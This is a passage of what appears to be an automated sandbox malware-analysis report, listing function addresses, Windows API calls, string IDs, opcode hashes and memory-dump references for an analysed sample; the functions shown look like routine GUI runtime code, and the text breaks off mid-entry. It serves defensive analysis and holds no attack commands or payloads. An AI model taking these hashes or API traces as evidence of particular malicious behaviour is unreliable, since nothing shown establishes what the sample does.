                                                                                                                                                                                                                                                                    • Instruction ID: 101555e37435dcd8f9cb82535fd6a722dc6fbd7a27843d950e94cdb7ebfdf100
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 15f0ddc022518219fa1431d8c4c694e9703a8d06eba29aaf92851b006d372727
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1181A271900309DFDB20DFA8DD44B9ABBF5FF04314F15862AE869A72E0C3799954CB48
                                                                                                                                                                                                                                                                    Function 00407498 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 66libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(COMCTL32.DLL,00000000,?,?,?,?,?,?,?,?), ref: 004074B7
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 004074CB
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 004074DC
                                                                                                                                                                                                                                                                    • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 00407507
                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(uxtheme.dll,?,?,?,?,?,?,?,?), ref: 00407512
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 00407520
                                                                                                                                                                                                                                                                    • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 00407543
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Library$AddressFreeLoadProc$memset
                                                                                                                                                                                                                                                                    • String ID: COMCTL32.DLL$DllGetVersion$IsAppThemed$uxtheme.dll
                                                                                                                                                                                                                                                                    • API String ID: 4277437538-2634860346
                                                                                                                                                                                                                                                                    • Opcode ID: aed7e4ce7a6df9a63f4f4886a5bcca096182b3f101d93737d8d74dff1cb53f04
                                                                                                                                                                                                                                                                    • Instruction ID: 4b2672e319a3008e16b3b6c196fdc24a056877a319ec8c418e4e676ef31208dc
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: aed7e4ce7a6df9a63f4f4886a5bcca096182b3f101d93737d8d74dff1cb53f04
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3B1154B1D04229B7DB109BE59D45BEE76B8AF04745F200176E501F21C1D7BCE6448BAA
                                                                                                                                                                                                                                                                    Function 0040B750 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 102memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • sprintf.MSVCRT ref: 0040B792
                                                                                                                                                                                                                                                                    • GetPropA.USER32(00000000,?), ref: 0040B7AD
                                                                                                                                                                                                                                                                    • GetPropA.USER32(Fh@,?), ref: 0040B7CF
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,?,?,00000000,00000008), ref: 0040B7E8
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000008,00000028,?,00000000,00000008), ref: 0040B820
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000008,00000018,?,00000000,00000008), ref: 0040B841
                                                                                                                                                                                                                                                                    • SetPropA.USER32(Fh@,?,00000000), ref: 0040B84D
                                                                                                                                                                                                                                                                    • SetWindowLongA.USER32(Fh@,000000FC,0040B687), ref: 0040B85B
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: HeapProp$Alloc$FreeLongWindowsprintf
                                                                                                                                                                                                                                                                    • String ID: Fh@$PB_GadgetStack_%i
                                                                                                                                                                                                                                                                    • API String ID: 802322696-1711027858
                                                                                                                                                                                                                                                                    • Opcode ID: 15a9022252e0b2d8d49b968ee9cf5716a5cc470fe03c024e3e2dc536a6861d14
                                                                                                                                                                                                                                                                    • Instruction ID: d7915c32095cfa27c17a17341b3d26d21a5c95e37c54b08ef8c30ff803d95ccc
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 15a9022252e0b2d8d49b968ee9cf5716a5cc470fe03c024e3e2dc536a6861d14
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 39412671500704EFD720EF65D984A56BBF8FB08310F10893EE856A36A0D774E944CF98
                                                                                                                                                                                                                                                                    Function 004060E0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 67COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetWindowLongA.USER32(?,000000F4), ref: 004060EB
                                                                                                                                                                                                                                                                    • CallWindowProcA.USER32(?,?,?,?,?), ref: 00406118
                                                                                                                                                                                                                                                                    • RemovePropA.USER32(?,PB_ID), ref: 00406143
                                                                                                                                                                                                                                                                    • RemovePropA.USER32(?,PB_DropAccept), ref: 0040614B
                                                                                                                                                                                                                                                                    • RevokeDragDrop.OLE32(?), ref: 00406152
                                                                                                                                                                                                                                                                    • SetWindowLongA.USER32(?,000000F4,000000FF), ref: 0040615D
                                                                                                                                                                                                                                                                    • DefWindowProcA.USER32(?,?,?,?), ref: 00406191
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Window$LongProcPropRemove$CallDragDropRevoke
                                                                                                                                                                                                                                                                    • String ID: PB_DropAccept$PB_ID
                                                                                                                                                                                                                                                                    • API String ID: 2605631428-3688647018
                                                                                                                                                                                                                                                                    • Opcode ID: d9aa2e55e9e98d8b7720478c714bacd7634389d5f1d5b84c24ab90d665143bfb
                                                                                                                                                                                                                                                                    • Instruction ID: b15f81d780608f291bbca6ccfb2bc1ecee376641dd613801b7d6bd139ce3fd5c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d9aa2e55e9e98d8b7720478c714bacd7634389d5f1d5b84c24ab90d665143bfb
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2211DC32400209FBCB016FA5DC84C6F3BA8EB45770B108339F835762E1CB358C21AB69
                                                                                                                                                                                                                                                                    Function 0040B687 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 71memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • sprintf.MSVCRT ref: 0040B69E
                                                                                                                                                                                                                                                                    • GetPropA.USER32(?,?), ref: 0040B6AD
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,?), ref: 0040B702
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,00000000), ref: 0040B70C
                                                                                                                                                                                                                                                                    • RemovePropA.USER32(?,?), ref: 0040B715
                                                                                                                                                                                                                                                                    • CallWindowProcA.USER32(?,?,00000082,?,?), ref: 0040B730
                                                                                                                                                                                                                                                                    • DefWindowProcA.USER32(?,?,?,?), ref: 0040B744
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FreeHeapProcPropWindow$CallRemovesprintf
                                                                                                                                                                                                                                                                    • String ID: PB_GadgetStack_%i
                                                                                                                                                                                                                                                                    • API String ID: 3302030571-1190326050
                                                                                                                                                                                                                                                                    • Opcode ID: 24eb7295cfce2fe02dcca4dc0efa4e335fb8c284965cf1d4dfbacb6dfc91419a
                                                                                                                                                                                                                                                                    • Instruction ID: 7edc49f7eabcf10ce6fb277dedcc1f018be10d9d098be4562b51a6aa3397956f
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 24eb7295cfce2fe02dcca4dc0efa4e335fb8c284965cf1d4dfbacb6dfc91419a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2F213972900209FFCF01AF91ED84C9A7FBAFB44304B00843AF911A7260C7769D61DB99
                                                                                                                                                                                                                                                                    Function 0040A661 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 57memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(0040E748,00000000,PostEventClass,00000028,@@,004091FE,?,00000028,PostEventClass,00000000,?,00408F22,@@,PostEventClass,00000000), ref: 0040A678
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(0040E748,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400,00000028,004089FA), ref: 0040A6CA
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A661: HeapFree.KERNEL32(00000000,?,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400,00000028), ref: 0040A6C3
                                                                                                                                                                                                                                                                    • DeleteCriticalSection.KERNEL32(00000048,00000028,PostEventClass,00000028,@@,004091FE,?,00000028,PostEventClass,00000000,?,00408F22,@@,PostEventClass,00000000), ref: 0040A6E2
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,00000028,00000028,PostEventClass,00000028,@@,004091FE,?,00000028,PostEventClass,00000000,?,00408F22,@@,PostEventClass,00000000), ref: 0040A6F0
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$FreeHeap$DeleteEnterLeave
                                                                                                                                                                                                                                                                    • String ID: @@$H@$PostEventClass
                                                                                                                                                                                                                                                                    • API String ID: 3171405041-2172396222
                                                                                                                                                                                                                                                                    • Opcode ID: 83143ad2b64eb7abff4522a106c2e19dd45c81c1fae0d89d7321249afa1dbb9f
                                                                                                                                                                                                                                                                    • Instruction ID: 5829ad383069783cc71cd047e71ddd4b259cd805e6e78f842be2f753d7ffeb56
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 83143ad2b64eb7abff4522a106c2e19dd45c81c1fae0d89d7321249afa1dbb9f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: AC114CB5501701EFD7209F95EE88C17BBB9FF44351308883AE556A3261C735EC64CB6A
                                                                                                                                                                                                                                                                    Function 0040A73E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 56librarysleeploaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(Kernel32.dll,@@,00000000,004089F6,?,?,0040A2E4,0040E760,hH@,76EC5E70,00000000,@@,?,?,00408FB1,004089F2), ref: 0040A74C
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 0040A761
                                                                                                                                                                                                                                                                    • FreeLibrary.KERNEL32(00000000,?,?,0040A2E4,0040E760,hH@,76EC5E70,00000000,@@,?,?,00408FB1,004089F2,00000010,00010000,00000004), ref: 0040A77C
                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000000,00000028,004089FA,00408A17), ref: 0040A79E
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Library$AddressFreeLoadProcSleep
                                                                                                                                                                                                                                                                    • String ID: @@$InitOnceExecuteOnce$Kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 938261879-1954687170
                                                                                                                                                                                                                                                                    • Opcode ID: f9263d5b0a08c4720f0fd5c7ccf3c6e370208dfd500ce481f6c8ce430c1fcea1
                                                                                                                                                                                                                                                                    • Instruction ID: e0aa44eb7d3eb7e3f0e4f2d10f4d8b852b4674c9a5b1910b81891318c129c8fc
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f9263d5b0a08c4720f0fd5c7ccf3c6e370208dfd500ce481f6c8ce430c1fcea1
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D201A776600304BBD7212BA19D8AE6F367CDBD1B55B10813BF501731C0EA7DC916866F
                                                                                                                                                                                                                                                                    Function 0040A2A5 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 111memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(0040E748,0040E760,hH@,76EC5E70,00000000,@@,?,?,00408FB1,004089F2,00000010,00010000,00000004,00000400), ref: 0040A2E9
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000000,00000018,?,?,00408FB1,004089F2,00000010,00010000,00000004,00000400,?,?,00408AD0,00000008,00000007), ref: 0040A321
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(0040E748,?,?,00408FB1,004089F2,00000010,00010000,00000004,00000400,?,?,00408AD0,00000008,00000007), ref: 0040A381
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000000,00000038,76EC5E70,00000000,@@,?,?,00408FB1,004089F2,00000010,00010000,00000004,00000400,?,?,00408AD0), ref: 0040A394
                                                                                                                                                                                                                                                                    • InitializeCriticalSection.KERNEL32(00000020,?,?,00408FB1,004089F2,00000010,00010000,00000004,00000400,?,?,00408AD0,00000008,00000007), ref: 0040A3C7
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$AllocHeap$EnterInitializeLeave
                                                                                                                                                                                                                                                                    • String ID: @@$@@$hH@
                                                                                                                                                                                                                                                                    • API String ID: 2544007295-112723411
                                                                                                                                                                                                                                                                    • Opcode ID: d5d30e574f94f931527e8ae690255870b5f37676d3b7346f0020cb5029536f7c
                                                                                                                                                                                                                                                                    • Instruction ID: 3384bb89b6b301feb4ca3f372a1be892de68e67d2b9e2b13de6303279064496e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d5d30e574f94f931527e8ae690255870b5f37676d3b7346f0020cb5029536f7c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 53419DB5A00705DFC725CF69D944A5ABBF0FB08710B14893EE846E7390D778E920CB9A
                                                                                                                                                                                                                                                                    Function 004069CE Relevance: 12.1, APIs: 8, Instructions: 94windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00408CF3: EnterCriticalSection.KERNEL32(0040E8D0,?,00000000,?,004069E9,?,?,00000000,00000000,0040D278,00000007,00000000,00001000,00000000,00000000), ref: 00408D15
                                                                                                                                                                                                                                                                      • Part of subcall function 00408CF3: LeaveCriticalSection.KERNEL32(0040E8D0,?,00000000,?,004069E9,?,?,00000000,00000000,0040D278,00000007,00000000,00001000,00000000,00000000), ref: 00408DE1
                                                                                                                                                                                                                                                                    • PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000003), ref: 00406A0E
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$EnterLeaveMessagePeek
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2031501597-0
                                                                                                                                                                                                                                                                    • Opcode ID: 4b53837d376155b47ceccbb7cf9d9fb4cec96674f0e3e3a9b058fad8a4c7c452
                                                                                                                                                                                                                                                                    • Instruction ID: 2b484ad0ac00007433e87677a258655a1257d1cf0e38644cbcef1b512bd74c2e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4b53837d376155b47ceccbb7cf9d9fb4cec96674f0e3e3a9b058fad8a4c7c452
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 62214471A00205ABDB20BBE5DD89D6B7BBCEFC5740B10C43EF556B2281D6389855CA29
                                                                                                                                                                                                                                                                    Function 00404A6F Relevance: 12.0, APIs: 8, Instructions: 49threadwindowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00404A79
                                                                                                                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 00404A87
                                                                                                                                                                                                                                                                    • IsWindowVisible.USER32(?), ref: 00404A8E
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A860: HeapAlloc.KERNEL32(00000008,00000000,0040A152,-00000010,02661948,00000000,00408585,02661950,00000000,?,?,?,00000000,00401B7C,00000001,0040E458), ref: 0040A86C
                                                                                                                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 00404AAB
                                                                                                                                                                                                                                                                    • GetWindowLongA.USER32(?,000000EC), ref: 00404AB8
                                                                                                                                                                                                                                                                    • GetForegroundWindow.USER32 ref: 00404AC6
                                                                                                                                                                                                                                                                    • IsWindowEnabled.USER32(?), ref: 00404AD1
                                                                                                                                                                                                                                                                    • EnableWindow.USER32(?,00000000), ref: 00404AE2
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Window$Thread$Current$AllocEnableEnabledForegroundHeapLongProcessVisible
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3383493704-0
                                                                                                                                                                                                                                                                    • Opcode ID: 7428162667d266563b73563e0edd1e98d769c936e315d302e91c4ea1e85a4f66
                                                                                                                                                                                                                                                                    • Instruction ID: c1fecb36ecc7849e7f71f69ab3ece4da4f5036575cc6275dafdf7a7814f7ead3
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7428162667d266563b73563e0edd1e98d769c936e315d302e91c4ea1e85a4f66
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 010192366442005BD720BBB99D88B2B76E89B95751F14843EF165F21D0D7788844866D
                                                                                                                                                                                                                                                                    Function 004070C6 Relevance: 9.1, APIs: 6, Instructions: 87COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetWindowRect.USER32(00000003,?), ref: 004070DC
                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000000), ref: 004070F8
                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000001), ref: 0040710B
                                                                                                                                                                                                                                                                    • GetActiveWindow.USER32 ref: 00407129
                                                                                                                                                                                                                                                                    • GetWindowRect.USER32(00406784,00406784), ref: 00407138
                                                                                                                                                                                                                                                                    • SetWindowPos.USER32(00000003,00000000,00000002,00000002,00000000,00000000,00000015,?,?,?,?,00406784), ref: 0040717A
                                                                                                                                                                                                                                                                    Memory Dump Source
